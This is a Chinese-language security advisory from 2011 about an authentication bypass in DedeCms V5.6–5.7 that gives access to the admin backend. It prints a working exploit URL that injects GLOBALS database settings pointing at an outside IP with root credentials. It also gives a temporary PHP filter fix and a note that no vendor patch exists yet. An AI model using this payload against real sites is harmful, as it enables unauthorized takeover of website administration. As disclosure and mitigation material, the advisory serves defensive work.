发布日期:2011-08-11
更新日期:2011-08-20
受影响系统: DedeCms V5.6-V5.7
漏洞描述:
DedeCMS内容管理系统软件采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY 自己的网站提供了强有力的支持。
织梦(DedeCms) v5.6-5.7 在后台用户验证过程中存在安全问题,用户可跳过验证,直接登录到管理后台!
<*参考
http://sebug.net/vulndb/20859/
http://www.t00ls.net/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
EXP:
http://localhost/dedecms/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root把上面validate=dcug改为当前的验证码,即可直接**后台此漏洞的前提是必须得到后台路径才能实现. |
建议:
官方临时解决办法:
找到include/common.inc.php文件,把: foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
{
exit('Request var not allow!');
}
}换成: //检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);// |
厂商补丁:
DedeCMS
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/dedecms |